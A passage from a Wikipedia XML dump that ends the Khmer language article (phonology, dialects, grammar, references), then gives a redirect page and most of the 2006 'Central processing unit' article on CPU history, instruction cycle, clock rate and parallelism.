| {{IPA|cʰp}}-||{{IPA|cɓ}}  ||  || || || {{IPA|cʰk}}- || {{IPA|cʔ}}- || {{IPA|cʰm}}- || {{IPA|cʰn}}-|| || {{IPA|cʰŋ}}- || || {{IPA|cʰl}}- || {{IPA|cr}}- || || || {{IPA|cʰʋ}}-
|- 
!{{IPA|k}}
| {{IPA|kʰp}}- || {{IPA|kɓ}}  || {{IPA|kʰt}}- || {{IPA|kɗ}}- || {{IPA|kʰc}} || || {{IPA|kʔ}}- || {{IPA|kʰm}}-|| {{IPA|kʰn}}- || {{IPA|kʰɲ}}- || {{IPA|kŋ}}-  || {{IPA|kʰj}}- || {{IPA|kʰl}}- || {{IPA|kr}}- || {{IPA|ks}}-|| || {{IPA|kʰʋ}}- 
|- 
!{{IPA|s}}
| {{IPA|sp}}-||{{IPA|sɓ}}  ||  {{IPA|st}}- || {{IPA|sɗ}}- || || {{IPA|sk}}- || {{IPA|sʔ}}- || {{IPA|sm}}-|| {{IPA|sn}}- || {{IPA|sɲ}}- || {{IPA|sŋ}}- || || {{IPA|sl}}- || {{IPA|sr}}- || || || {{IPA|sʋ}}
|- 
!{{IPA|ʔ}}
|  ||  || ||  || ||  ||  ||  ||  ||  ||  || ||  ||  ||  ||   || {{IPA|ʔʋ}}-
|- 
!{{IPA|m}}
| || || {{IPA|mt}}- || {{IPA|mɗ}}- || {{IPA|mc}} || || {{IPA|mʔ}}- || || {{IPA|mʰn}}- || {{IPA|mʰɲ}}- ||   ||  || {{IPA|ml}}- || {{IPA|mr}}- || {{IPA|ms}}- || {{IPA|mh}}- ||
|- 
!{{IPA|l}}
| {{IPA|lp}}-|| {{IPA|lɓ}}  || || || ||{{IPA|lk}}- || {{IPA|lʔ}}- || {{IPA|lm}}-|| || ||  {{IPA|lŋ}}- ||  || || || || {{IPA|lh}}- || {{IPA|lʋ}}- 
|- 
|}

Syllables begin with one of these consonants or consonant clusters, followed by one of the vowel nuclei.  When the vowel nucleus is short, there has to be a final consonant.  
{{IPA|/p/ /t/ /c/ /k/ /ʔ/ /m/ /n/ /ɲ/ /ŋ/ /l/ /h/ /j/}} and {{IPA|/ʋ/,}} can exist in a syllable coda.  {{IPA|/h/}} and {{IPA|/ʋ/}} become {{IPA|[ç]}} and {{IPA|[w]}} respectively.
The most common word structure in Khmer is a full syllable as described above, preceded by an unstressed, “minor” syllable that has a consonant-vowel (CV) structure CV-, CrV-, CVN- or CrVN- (N is any nasal in the Khmer inventory).  The vowel in these “minor” syllables is usually reduced to {{IPA|[ə]}} in the spoken language.

Words can also be made up of two full syllables.

Words with three or more syllables are mostly loanwords from other languages, usually Pali, Sanskrit, or French.

== Dialects ==

[[Dialect]]s are sometimes quite marked; notable variations are found in speakers from [[Phnom Penh]] (the capital city), [[Battambang]] in the countryside and the northern dialects of Thailand (such as in Surin province).

A notable characteristic of the Phnom Penh accent is a tendency towards what might be considered &quot;relaxed&quot; pronunciation, with some parts slurred together or dropped entirely. For instance, &quot;Phnom Penh&quot; will sometimes be shortened to &quot;m'Penh&quot;. Another characteristic of the Phnom Penh accent is observed in words with an &quot;r&quot; in the second position of the first syllable (that is, where &quot;r&quot; is the second consonant, as in the English word &quot;bread&quot;). The &quot;r&quot; is not pronounced, and the first consonant is pronounced harder than usual, and the syllable is spoken with a dipping tone much like the &quot;hỏi&quot; tone in Vietnamese. For example, some people pronounce &quot;dreey&quot; (meaning &quot;fish&quot;) as &quot;te&quot;; the &quot;d&quot; becomes a &quot;t&quot;, and the vowel (similar to &quot;long A&quot; in English) begins low and rises in tone. Another example is the word for ''orange'': it is pronounced ''kroich'' (the older form) by those in the countryside, but simply ''koich'' (without the r) by those in the city.

== Grammar ==

Word order in Khmer is generally [[Subject Verb Object]]. Khmer is primarily an [[isolating language]], but lexical [[Derivation (linguistics)|derivation]] by means of prefixes and infixes is common.

== Writing system ==

Khmer is written with the [[Khmer alphabet]]. [[Khmer numerals]], which were inherited from Indian numerals, are used more widely than [[Hindu-Arabic numerals]].

== Footnotes ==
# {{note|1}} &lt;small&gt;Vietnamese government figure.
# {{note|2}} &lt;small&gt;Non-government estimate of the [[Khmer Krom]] living in Vietnam.&lt;/small&gt;

== References ==

*Ferlus, Michel. 1992. ''Essai de phonétique historique du khmer'' (Du milieu du premier millénaire de notre ère à l'époque actuelle)&quot;, Mon-Khmer Studies XXI: 57-89)
*Headley, Robert et. al. 1977. ''Cambodian-English Dictionary''. Washington, Catholic University Press.
*Huffman, Franklin. 1967. ''An outline of Cambodian Grammar''. PhD thesis, Cornell University. 
*Huffman, Franklin. 1970. ''[http://www.pratyeka.org/csw/hlp-csw.pdf Cambodian System of Writing and Beginning Reader]''. Yale University Press. ISBN 0300013140
*Jacob, Judith. 1974. ''A Concise Cambodian-English Dictionary''. London, Oxford University Press.

== External links ==
{{InterWiki|code=km}}
*[http://www.ethnologue.com/show_family.asp?subid=91043 Ethnologue entry on Khmer]
*[http://www.anu.edu.au/~u9907217/languages/AAlecture2.html Khmer language: its historical development]
* ''[http://www.lmp.ucla.edu/Profile.aspx?LangID=75 Khmer]'' at [http://www.lmp.ucla.edu/ UCLA Language Materials project]

[[Category:Khmer language]]
[[Category:Languages of Cambodia]]
[[Category:Languages of Thailand]]

[[bg:Кхмерски език]]
[[de:Khmer-Sprache]]
[[es:Idioma camboyano]]
[[eo:Ĥmera lingvo]]
[[fa:زبان خمر]]
[[fr:Khmer]]
[[ko:크메르어]]
[[id:Bahasa Khmer]]
[[nl:Khmer (taal)]]
[[ja:クメール語]]
[[pl:Język khmerski]]
[[pt:Língua khmer]]
[[fi:Khmerin kieli]]
[[sv:Khmer (språk)]]
[[th:ภาษาเขมร]]
[[wa:Xhmer]]
[[zh:高棉语]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Mechanics</title>
    <id>5217</id>
    <revision>
      <id>15903442</id>
      <timestamp>2002-06-06T17:01:36Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Classical mechanics]]</comment>
      <text xml:space="preserve">#REDIRECT [[Classical mechanics]]</text>
    </revision>
  </page>
  <page>
    <title>Central processing unit</title>
    <id>5218</id>
    <revision>
      <id>42163245</id>
      <timestamp>2006-03-04T06:03:40Z</timestamp>
      <contributor>
        <ip>70.112.29.179</ip>
      </contributor>
      <comment>/* TLP: Simultaneous thread execution */</comment>
      <text xml:space="preserve">{{featured article}}
{{redirect|CPU}}
[[Image:Intel_80486DX2_bottom.jpg|thumb|250px|right|[[Intel 80486DX2]] [[microprocessor]] in a ceramic [[Pin grid array|PGA]] package]]
A '''central processing unit''' ('''CPU'''), or sometimes simply '''processor,''' is the component in a [[Computer#Digital circuits|digital computer]] that interprets instructions and processes data contained in [[computer software|software]]. CPUs provide the fundamental digital computer trait of programmability, and are one of the core components found in almost all modern [[microcomputer]]s, along with [[primary storage]] and [[input/output]] facilities.  A CPU that is manufactured using [[integrated circuit]]s, often just one, is known as a [[microprocessor]]. Since the mid-1970s, single-chip microprocessors have almost totally replaced all other types of CPUs, and today the term &quot;CPU&quot; almost always applies to some type of microprocessor.

The phrase &quot;central processing unit&quot; is, in general terms, a description of a certain class of logic machines that can execute complex [[computer program]]s.  This broad definition can easily be applied to many early computers that existed long before the term &quot;CPU&quot; ever came into widespread usage.  However, the term itself and its acronym have been in use in the computer industry at least since the early 1960s {{Ref harvard|weik1961|Weik 1961|a}}. The form, design and implementation of CPUs have changed dramatically since the earliest examples, but their fundamental operation has remained much the same.

Early CPUs were custom-designed as a part of a larger, usually one-of-a-kind, computer.  However, this costly method of designing custom CPUs for a particular application has largely given way to the development of inexpensive and standardized classes of processors that are suited for one or many purposes.  This standardization trend generally began in the era of discrete transistor [[mainframe]]s and [[minicomputer]]s and has rapidly accelerated with the popularization of the [[integrated circuit]] (IC).  The IC has allowed increasingly complex CPUs to be designed and manufactured in very small spaces (in the order of [[millimeter]]s).  Both the miniaturization and standardization of CPUs have increased the presence of these digital devices in modern life far beyond the limited application of dedicated computing machines.  Modern microprocessors appear in everything from [[automobile]]s to [[cell phone]]s to children's toys.

==History==
[[Image:Edvac2.png|thumb|220px|right|[[EDVAC]], one of the first electronic stored program computers.]]
[[Image:PDP-8i_cpu.jpg|thumb|250px|CPU, [[Magnetic core memory|core memory]], and [[Computer bus|external bus]] interface of an MSI [[PDP-8]]/I.]]
{{main|History of computing hardware}}

Prior to the advent of machines that resemble today's CPUs, computers such as [[ENIAC]] had to be physically rewired in order to perform different tasks.  These machines are often referred to as &quot;fixed-program computers,&quot; since they had to be physically reconfigured in order to run a different program.  Since the term &quot;CPU&quot; is generally defined as a software (computer program) execution device, the earliest devices that could rightly be called CPUs came with the advent of the stored-program computer.  

The idea of a stored-program computer was already present during the design of ENIAC, but was not initially used in that computer because of speed considerations.  On June 30, 1945, before ENIAC was even completed, mathematician [[John von Neumann]] distributed the paper entitled &quot;First Draft of a Report on the [[EDVAC]].&quot;  It outlined the design of a stored-program computer that would eventually be completed in August 1949 {{Ref harvard|vonNeumann1945|von Neumann 1945|a}}. EDVAC was designed to perform a certain number of instructions (or operations) of various types.  These instructions could be combined to create useful programs for the EDVAC to run.  Significantly, the programs written for EDVAC were stored in high-speed [[Memory (computers)|computer memory]] rather than specified by the physical wiring of the computer.  This overcame a severe limitation of ENIAC, which was the large amount of time and effort it took to reconfigure the computer to perform a new task.  With Von Neumann's design, the program, or software, that EDVAC ran could be changed simply by changing the contents of the computer's memory. {{ref|eniac}}

It should be noted that while Von Neumann is most often credited with the design of the stored-program computer because of his design of EDVAC, others before him such as [[Konrad Zuse]] had suggested similar ideas.  Additionally, the so-called [[Harvard architecture]] of the [[Harvard Mark I]], which was completed before EDVAC, also utilized a stored-program design using [[Punched tape|punched paper tape]] rather than electronic memory.  The key difference between the Von Neumann and Harvard architectures is that the latter separates the storage and treatment of CPU instructions and data, while the former uses the same memory space for both.  Most modern CPUs are primarily Von Neumann in design, but elements of the Harvard architecture are commonly seen as well.

Being [[digital]] devices, all CPUs deal with discrete states and therefore require some kind of switching elements to differentiate between and change these states.  Prior to commercial acceptance of the transistor, [[Relay|electrical relay]]s and [[vacuum tube]]s (thermionic valves) were commonly used as switching elements.  Although these had distinct speed advantages over earlier, purely mechanical designs, they were unreliable for various reasons.  For example, building [[direct current]] [[sequential logic]] circuits out of relays requires additional hardware to cope with the problem of [[Switch#Contact bounce|contact bounce]].  While vacuum tubes do not suffer from contact bounce, they must heat up before becoming fully operational and eventually stop functioning altogether. {{ref|vactube}}  Usually, when a tube failed, the CPU would have to be diagnosed to locate the failing component so it could be replaced.  Therefore, early electronic (vacuum tube based) computers were generally faster but less reliable than electromechanical (relay based) computers.  Tube computers like [[EDVAC]] tended to average eight hours between failures, whereas relay computers like the (slower, but earlier) [[Harvard Mark I]] failed very rarely {{Ref harvard|weik1961|Weik 1961:238|b}}.  In the end, tube based CPUs became dominant because the significant speed advantages afforded generally outweighed the reliability problems.  Most of these early synchronous CPUs ran at low [[clock rate]]s compared to modern microelectronic designs (see below for a discussion of clock rate).  Clock signal frequencies ranging from 100 [[Hertz|kHz]] to 4 MHz were very common at this time, limited largely by the speed of the switching devices they were built with.

===Discrete transistor and IC CPUs===
The design and complexity of CPUs increased as various technologies facilitated building smaller and more reliable electronic devices.  The first such improvement came with the advent of the [[transistor]].  Transistorized CPUs during the 1950s and 1960s no longer had to be built out of bulky, unreliable, and fragile switching elements like [[vacuum tube]]s and [[Relay|electrical relays]].  With this improvement more complex and reliable CPUs were built onto one or several [[printed circuit board]]s containing discrete (individual) components.

During this period, a method of manufacturing many transistors in a compact space gained popularity.  The [[integrated circuit]] (IC) allowed a great deal of transistors to be manufactured on a single [[semiconductor]]-based die, or &quot;chip.&quot;  At first only very basic non-specialized digital circuits such as [[NOR gate]]s were miniaturized into ICs.  CPUs based upon these &quot;building block&quot; ICs are generally referred to as &quot;small-scale integration&quot; (SSI) devices.  SSI ICs, such as the ones used in the [[Apollo guidance computer]], usually contained transistor counts numbering in multiples of ten.  To build an entire CPU out of SSI ICs required thousands of individual chips, but still consumed much less space and power than earlier discrete transistor designs.  As microelectronic technology advanced, an increasing number of transistors were placed on ICs, thus decreasing the quantity of individual ICs needed for a complete CPU.  MSI and LSI (medium- and large-scale integration) ICs increased transistor counts to hundreds, then thousands.

In 1964 [[IBM]] introduced its [[System/360]] computer architecture, which was used in a series of computers that could run the same programs with different speed and performance.  This was significant at a time when most electronic computers were incompatible with one another, even those made by the same manufacturer.  To facilitate this improvement, IBM utilized the concept of a [[microprogram]] (often called &quot;microcode&quot;), which still sees widespread usage in modern CPUs {{Ref harvard|Amdahl1964|Amdahl et al. 1964|a}}. The System/360 architecture was so popular that it dominated the [[mainframe computer]] market for the next few decades and left a legacy that is still continued by similar modern computers like the IBM [[zSeries]].  In the same year (1964), [[Digital Equipment Corporation]] (DEC) introduced another influential computer aimed at the scientific and research markets, the [[PDP-8]].  DEC would later introduce the extremely popular [[PDP-11]] line that originally was built with SSI ICs but was eventually implemented with LSI components once these became practical.  In stark contrast with its SSI and MSI predecessors, the first LSI implementation of the PDP-11 contained a CPU comprised of only four LSI integrated circuits {{Ref harvard|dec1975|Digital Equipment Corporation 1975|a}}.

Transistor-based computers had several distinct advantages over their predecessors.  Aside from facilitating increased reliability and lower power consumption, transistors also allowed CPUs to operate at much higher speeds because of the short switching time of a transistor in comparison to a tube or relay.  Thanks to both the increased reliability as well as the dramatically increased speed of the switching elements (which were almost exclusively transistors by this time), CPU clock rates in the tens of megahertz were obtained during this period.  Additionally, while discrete transistor and IC CPUs were in heavy usage, new high-performance designs like [[SIMD]] (Single Instruction Multiple Data) [[vector processor]]s began to appear.  These early experimental designs later gave rise to the era of specialized [[supercomputer]]s like those made by [[Cray Inc.]]

===Microprocessors===
[[Image:80486dx2-large.jpg|right|thumb|250px|Die of an [[Intel 80486DX2]] microprocessor (actual size: 12&amp;times;6.75 mm)]]
The introduction of the [[microprocessor]] in the 1970s significantly affected the design and implementation of CPUs.  Since the introduction of the first microprocessor (the [[Intel 4004]]) in 1970 and the first widely used microprocessor (the [[Intel 8080]]) in 1974, this class of CPUs has almost completely overtaken all other implementations.  Combined with the advent of the [[personal computer]], this has led to the term &quot;CPU&quot; being applied almost exclusively to microprocessors in the past few decades.

Previous generations of CPUs were implemented as discrete components and numerous small [[integrated circuit]]s (ICs) on one or more circuit boards.  Microprocessors, on the other hand, are CPUs manufactured on a very small number of ICs; usually just one.  The overall smaller CPU size as a result of being implemented on a single die means faster switching time because of physical factors like decreased gate parasitic [[capacitance]].  This has allowed synchronous microprocessors to have clock rates ranging from tens of megahertz to several gigahertz.  Additionally, as the ability to construct exceedingly small transistors on an IC has increased, the complexity and number of transistors in a single CPU has increased dramatically.  This widely observed trend is described by [[Moore's law]], which has proven to be a fairly accurate predictor of the growth of CPU (and other IC) complexity to date.

While the complexity, size, construction, and general form of CPUs have changed drastically over the past sixty years, it is notable that the basic design and function has not changed much at all.  Almost all common CPUs today can be very accurately described as Von Neumann stored-program machines.

As the aforementioned Moore's law continues to hold true, concerns have arisen about the limits of integrated circuit transistor technology.  Extreme miniaturization of electronic gates is causing the effects of phenomena like [[electromigration]] and [[subthreshold leakage]] to become much more significant.  These newer concerns are among the many factors causing researchers to investigate new methods of computing such as the [[quantum computer]], as well as to expand the usage of [[Parallel computing|parallelism]] and other methods that extend the usefulness of the classical Von Neumann model.

==CPU operation==
[[Image:Mips32_addi.png|right|thumb|250px|Diagram showing how one [[MIPS architecture|MIPS32]] instruction is decoded. {{Ref harvard|MIPSTech2005|MIPS Technologies 2005|a}}]]
[[Image:CPU block diagram.png|right|thumb|250px|Block diagram of a simple CPU]]
The fundamental operation of most CPUs, regardless of the physical form they take, is to execute a sequence of stored instructions called a program.  Discussed here are devices that conform to the common [[Von Neumann architecture]].  The program is represented by a series of numbers that are kept in some kind of [[Memory (computers)|computer memory]].  There are four steps that nearly all Von Neumann CPUs use in their operation: fetch, decode, execute, and writeback.

The first step, fetch, involves retrieving an [[instruction (computer science)|instruction]] (which is represented by a number or sequence of numbers) from program memory.  The location in program memory is determined by a [[program counter]] (PC), which stores a number that identifies the current position in the program.  In other words, the program counter keeps track of the CPU's place in the current program.  After an instruction is fetched, the PC is incremented by the length of the instruction word in terms of memory units. {{ref|iwordlength}}  Often the instruction to be fetched must be retrieved from relatively slow memory, causing the CPU to stall while waiting for the instruction to be returned.  This issue is largely addressed in modern processors by caches and superscalar architectures (see below).

The instruction that the CPU fetches from memory is used to determine what the CPU is to do.  In the decode step, the instruction is broken up into parts that have significance to other portions of the CPU.  The way in which the numerical instruction value is interpreted is defined by the CPU's [[instruction set architecture]] (ISA). {{ref|isa}}  Often, one group of numbers in the instruction, called the [[opcode]], indicates which operation to perform.  The remaining parts of the number usually provide information required for that instruction, such as operands for an [[addition]] operation.  Such operands may be given as a constant value (called an immediate value), or as a place to locate a value: a [[processor register|register]] or a [[memory address]].  In older designs the portions of the CPU responsible for instruction decoding were unchangeable hardware devices.  However, in more abstract and complicated CPUs and ISAs, a [[microprogram]] is often used to assist in translating instructions into various configuration signals for the CPU.  This microprogram is sometimes rewritable so that it can be modified to change the way the CPU decodes instructions even after it has been manufactured.

After the fetch and decode steps, the execute step is performed.  During this step, various portions of the CPU are connected so they can perform the desired operation.  If, for instance, an addition operation was requested, an [[arithmetic logic unit]] (ALU) will be connected to a set of inputs and a set of outputs.  The inputs provide the numbers to be added, and the outputs will contain the final sum.  The ALU contains the circuitry to perform simple arithmetic and logical operations on the inputs (like addition and [[bitwise operation]]s).  If the addition operation produces a result too large for the CPU to handle, an [[arithmetic overflow]] flag in a flags register may also be set (see the discussion of integer precision below).

The final step, writeback, simply &quot;writes back&quot; the results of the execute step to some form of memory.  Very often the results are written to some internal CPU register for quick access by subsequent instructions.  In other cases results may be written to slower, but cheaper and larger, [[Random access memory|main memory]].  Some types of instructions manipulate the program counter rather than directly produce result data. These are generally called &quot;jumps&quot; and facilitate behavior like [[Control flow#Loops|loops]], conditional program execution (through the use of a conditional jump), and [[Subroutine|functions]] in programs. {{ref|jumps}}  Many instructions will also change the state of digits in a &quot;flags&quot; register. These flags can be used to influence how a program behaves, since they often indicate the outcome of various operations.  For example, one type of &quot;compare&quot; instruction considers two values and sets a number in the flags register according to which one is greater.  This flag could then be used by a later jump instruction to determine program flow.

After the execution of the instruction and writeback of the resulting data, the entire process repeats, with the next instruction cycle normally fetching the next-in-sequence instruction because of the incremented value in the program counter.  If the completed instruction was a jump, the program counter will be modified to contain the address of the instruction that was jumped to, and program execution continues normally.  In more complex CPUs than the one described here, multiple instructions can be fetched, decoded, and executed simultaneously.  This section describes what is generally referred to as the &quot;[[Classic RISC pipeline]],&quot; which in fact is quite common among the simple CPUs used in many electronic devices (often called [[microcontrollers]]). {{ref|riscpipeline}}

==Design and implementation==
{{Prerequisites header}}
{{main|CPU design}}
![[Computer architecture]]
|-
![[Digital circuit]]s
{{Prerequisites footer}}

===Integer precision===
[[Image:MOS_6502AD_4585_top.jpg|250px|thumb|right|[[MOS Technology 6502|MOS 6502]] microprocessor in a [[dual in-line package]], an extremely popular 8-bit design.]]
The way a CPU represents numbers is a design choice that affects the most basic ways in which the device functions.  Some early digital computers used an electrical model of the common [[decimal]] (base ten) [[numeral system]] to represent numbers internally.  A few other computers have used more exotic numeral systems like [[ternary logic|ternary]] (base three). Nearly all modern CPUs represent numbers in [[Binary numeral system|binary]] form, with each digit being represented by some two-valued physical quantity such as a &quot;high&quot; or &quot;low&quot; [[Volt|voltage]]. {{ref|binaryvoltage}}

Related to number representation is the size and precision of numbers that a CPU can represent.  In the case of a binary CPU, a bit refers to one significant place in the numbers a CPU deals with.  The number of bits (or numeral places) a CPU uses to represent numbers is often called &quot;[[Word (computer science)|word size]]&quot;, &quot;bit width&quot;, &quot;data path width&quot;, or &quot;integer precision&quot; when dealing with strictly integer numbers (as opposed to floating point).  This number differs between architectures, and often within different parts of the very same CPU.  For example, an [[8-bit]] CPU deals with a range of numbers that can be represented by eight binary digits (each digit having two possible values), that is, 2&lt;sup&gt;8&lt;/sup&gt; or 256 discrete numbers.  In effect, integer precision sets a hardware limit on the range of integers the software run by the CPU can utilize. {{ref|softwareints}}

Integer precision can also affect the number of locations in memory the CPU can address (locate).  For example, if a binary CPU uses 32 bits to represent a memory address, and each memory address represents one [[octet (computing)|octet]] (8 bits), the maximum quantity of memory that CPU can address is 2&lt;sup&gt;32&lt;/sup&gt; octets, or 4 [[GiB]].  This is a very simple view of CPU [[address space]], and many modern designs use much more complex addressing methods like [[paging]] in order to locate more memory with the same integer precision.

Higher levels of integer precision require more structures to deal with the additional digits, and therefore more complexity, size, power usage, and generally expense.  It is not at all uncommon, therefore, to see 4- or 8-bit [[microcontroller]]s used in modern applications, even though CPUs with much higher precision (such as 16, 32, 64, even 128 bit) are available.  The simpler microcontrollers are usually cheaper, use less power, and therefore dissipate less heat, all of which can be major design considerations for electronic devices.  However, in higher-end applications, the benefits afforded by the extra precision (most often the additional address space) are more significant and often affect design choices.  To gain some of the advantages afforded by both lower and higher bit precisions, many CPUs are designed with different bit widths for different portions of the device.  For example, the IBM [[System/370]] used a CPU that was primarily 32 bit, but it used 128-bit precision inside its [[floating point]] units to facilitate greater accuracy and range in floating point numbers {{Ref harvard|Amdahl1964|Amdahl et al. 1964|b}}. Many later CPU designs use similar mixed bit width, especially when the processor is meant for general-purpose usage where a reasonable balance of integer and floating point capability is required.

===Clock rate===
[[Image:1615a_logic_analyzer.jpg|thumb|250px|right|[[Logic analyzer]] showing the timing and state of a synchronous digital system.]]
{{main|Clock rate}}

Most CPUs, and indeed most [[sequential logic]] devices, are synchronous in nature. {{ref|seqlogic}}  That is, they are designed and operate on assumptions about a synchronization signal.  This signal, known as a clock signal, usually takes the form of a periodic [[square wave]].  By calculating the maximum time that electrical signals can move in various branches of a CPU's many circuits, the designers can select an appropriate [[Frequency|period]] for the clock signal.  

This period must be longer than the amount of time it takes for a signal to move, or propagate, in the worst-case scenario.  In setting the clock period to a value well above the worst-case propagation delay, it is possible to design the entire CPU and the way it moves data around the &quot;edges&quot; of the rising and falling clock signal.  This has the advantage of simplifying the CPU significantly, both from a design perspective and a component-count perspective.  However, it also carries the disadvantage that the entire CPU must wait on its slowest elements, even though some portions of it are much faster.  This limitation has largely been compensated for by various methods of increasing CPU parallelism (see below).

Architectural improvements alone do not solve all of the drawbacks of globally synchronous CPUs, however.  For example, a clock signal is subject to the delays of any other electrical signal.  Higher clock rates in increasingly complex CPUs make it more difficult to keep the clock signal in phase (synchronized) throughout the entire unit.  This has led many modern CPUs to require multiple identical clock signals to be provided in order to avoid delaying a single signal significantly enough to cause the CPU to malfunction.  Another major issue as clock rates increase dramatically is the amount of heat that is dissipated by the CPU.  The constantly changing clock causes many components to switch regardless of whether they are being used at that time.  In general, a component that is switching uses more energy than an element in a static state.  Therefore, as clock rate increases, so does heat dissipation, causing the CPU to require more effective cooling solutions.

One method of dealing with the switching of unneeded components is called [[clock gating]], which involves turning off the clock signal to unneeded components (effectively disabling them).  However, this is often regarded as difficult to implement and therefore does not see common usage outside of very low-power designs. {{ref|clockgating}}  Another method of addressing some of the problems with a global clock signal is the removal of the clock signal altogether.  While removing the global clock signal makes the design process considerably more complex in many ways, asynchronous (or clockless) designs carry marked advantages in power consumption and heat dissipation in comparison with similar synchronous designs.  While somewhat uncommon, entire CPUs have been built without utilizing a global clock signal.  Two notable examples of this are the [[ARM architecture|ARM]] compliant [[AMULET microprocessor|AMULET]] and the [[MIPS architecture|MIPS]] R3000 compatible MiniMIPS.  Rather than totally removing the clock signal, some CPU designs allow certain portions of the device to be asynchronous.  For example, using asynchronous [[Arithmetic logic unit|ALUs]] in conjunction with superscalar pipelining to achieve some arithmetic performance gains.  While it is not altogether clear whether totally asynchronous designs can perform at a comparable or better level than their synchronous counterparts, it is evident that they do at least excel in simpler math operations.  This, combined with their excellent power consumption and heat dissipation properties, makes them very suitable for [[embedded computer]]s {{Ref harvard|Garside1999|Garside et al. 1999|a}}.

===Parallelism===
[[Image:Nopipeline.png|thumb|250px|right|Model of a subscalar CPU. Notice that it takes fifteen cycles to complete three instructions.]]
{{main|Parallel computing}}

The description of the basic operation of a CPU offered in the previous section describes the simplest form that a CPU can take.  This type of CPU, usually referred to as subscalar, operates on and executes one instruction on one or two pieces of data at a time.

This process gives rise to an inherent inefficiency in subscalar CPUs.  Since only one instruction is executed at a time, the entire CPU must wait for that instruction to complete before proceeding to the next instruction.  As a result the subscalar CPU gets &quot;hung up&quot; on instructions which take more than one clock cycle to complete execution.  Even adding a second execution unit (see below) does not improve performance much; rather than one pathway being hung up, now two pathways are hung up and the number of unused transistors is increased.  This design, wherein the CPU's execution resources can operate on only one instruction at a time, can only possibly reach scalar performance (one instruction per clock). However, the performance is nearly always subscalar (less than one instruction per cycle).

Attempts to achieve scalar and better performance have resulted in a variety of design methodologies that cause the CPU to behave less linearly and more in parallel.  When referring to parallelism in CPUs, two terms are generally used to classify these design techniques.  [[Instruction level parallelism]] (ILP) seeks to increase the rate at which instructions are executed within a CPU (that is, to increase the utilization of on-die execution resources), and [[thread level parallelism]] (TLP) purposes to increase the number of [[Thread (computer science)|thread]]s (effectively individual programs) that a CPU can execute simultaneously.  Each methodology differs both in the ways in which they are implemented, as well as the relative effectiveness they afford in increasing the CPU's performance for an application. {{ref|parallelperformance}}

====ILP: Instruction pipelining and superscalar architecture====
[[Image:Fivestagespipeline.png|thumb|250px|right|Basic five-stage pipeline.  In the best case scenario, this pipeline can sustain a completion rate of one instruction per cycle.]]
[[Image:Superscalarpipeline.png|thumb|250px|right|Simple superscalar pipeline.  By fetching and dispatching two instructions at a time, a maximum of two instructions per cycle can be completed.]]
{{main articles|[[Instruction pipelining]], [[Superscalar]]}}

One of the simplest methods used to accomplish increased parallelism is to begin the first steps of instruction fetching and decoding before the prior instruction finishes executing.  This is the simplest form of a technique known as [[instruction pipelining]], and is utilized in almost all modern general-purpose CPUs.  Pipelining allows more than one instruction to be executed at any given time by breaking down the execution pathway into discrete stages. This separation can be compared to an assembly line, in which an instruction is made more complete at each stage until it exits the execution pipeline and is retired.

Pipelining does, however, introduce the possibility for a situation where the result of the previous operation is needed to complete the next operation; a condition often termed data dependency conflict.  To cope with this, additional care must be taken to check for these sorts of conditions and delay a portion of the instruction pipeline if this occurs.  Naturally, accomplishing this requires additional circuitry, so pipelined processors are more complex than subscalar ones (though not very significantly so). A pipelined processor can become very nearly scalar, inhibited only by pipeline stalls (an instruction spending more than one clock cycle in a stage).

Further improvement upon the idea of instruction pipelining led to the development of a method that decreases the idle time of CPU components even further.  Designs that are said to be superscalar include a long instruction pipeline and multiple identical execution units.  In a superscalar pipeline, multiple instructions are read and passed to a dispatcher, which decides whether or not the instructions can be executed in parallel (simultaneously).  If so they are dispatched to available execution units, resulting in the ability for several instructions to be executed simultaneously.  In general, the more instructions a superscalar CPU is able to dispatch simultaneously to waiting execution units, the more instructions will be completed in a given cycle.

Most of the difficulty in the design of a superscalar CPU architecture lies in creating an effective dispatcher.  The dispatcher needs to be able to quickly and correctly determine whether instructions can be executed in parallel, as well as dispatch them in such a way as to keep as many execution units busy as possible.  This requires that the instruction pipeline is filled as often as possible and gives rise to the need in superscalar architectures for significant amounts of [[CPU cache]].  It also makes [[Hazard (computer architecture)|hazard]]-avoiding techniques like [[branch prediction]], [[speculative execution]], and [[out-of-order execution]] crucial to maintaining high levels of performance.  By attempting to predict which branch (or path) a conditional instruction will take, the CPU can minimize the number of times that the entire pipeline must wait until a conditional instruction is completed.  Speculative execution often provides modest performance increases by executing portions of code that may or may not be needed after a conditional operation completes.  Out-of-order execution somewhat rearranges the order in which instructions are executed to reduce delays due to data dependencies.

In the case where a portion of the CPU is superscalar and part is not, the part which is not suffers a performance penalty due to scheduling stalls. The original [[Intel Pentium]] (P5) had two superscalar ALUs which could accept one instruction per clock each, but its FPU could not accept one instruction per clock.  Thus the P5 was integer superscalar but not floating point superscalar.  Intel's successor to the Pentium architecture, [[Intel P6|P6]], added superscalar capabilities to its floating point features, and therefore afforded a significant increase in floating point instruction performance.

Both simple pipelining and superscalar design increase a CPU's ILP by allowing a single processor to complete execution of instructions at rates surpassing one instruction per cycle (IPC). {{ref|ipcrate}}  Most modern CPU designs are at least somewhat superscalar, and nearly all general purpose CPUs designed in the last decade are superscalar.  In later years some of the emphasis in designing high-ILP computers has been moved out of the CPU's hardware and into its software interface, or ISA.  The strategy of the [[very long instruction word]] (VLIW) causes some ILP to become implied directly by the software, reducing the amount of work the CPU must perform to boost ILP and thereby reducing the design's complexity.

====TLP: Simultaneous thread execution====
Another strategy commonly used to increase the parallelism of CPUs is to include the ability to run multiple [[thread (computer science)|thread]]s (programs) at the same time.  In general, high-TLP CPUs have been in use much longer than high-ILP ones.  Many of the designs pioneered by [[Cray]] during the late 1970s and 1980s concentrated on TLP as their primary method of enabling enormous (for the time) computing capability.  In fact, TLP in the form of multiple thread execution improvements has been in use since as early as the 1950s {{Ref harvard|Smotherman2005|Smotherman 2005|a}}. In the context of single processor design, the two main methodologies used to accomplish TLP are [[chip-level multiprocessing]] (CMP) and [[simultaneous multithreading]] (SMT).  On a higher level, it is very common to build computers with multiple totally independent CPUs in arrangements like [[symmetric multiprocessing]] (SMP) and [[non-uniform memory access]] (NUMA). {{ref|singlechiptlp}}  While using very different means, all of these techniques accomplish the same goal: increasing the number of threads that the CPU(s) can run in parallel.

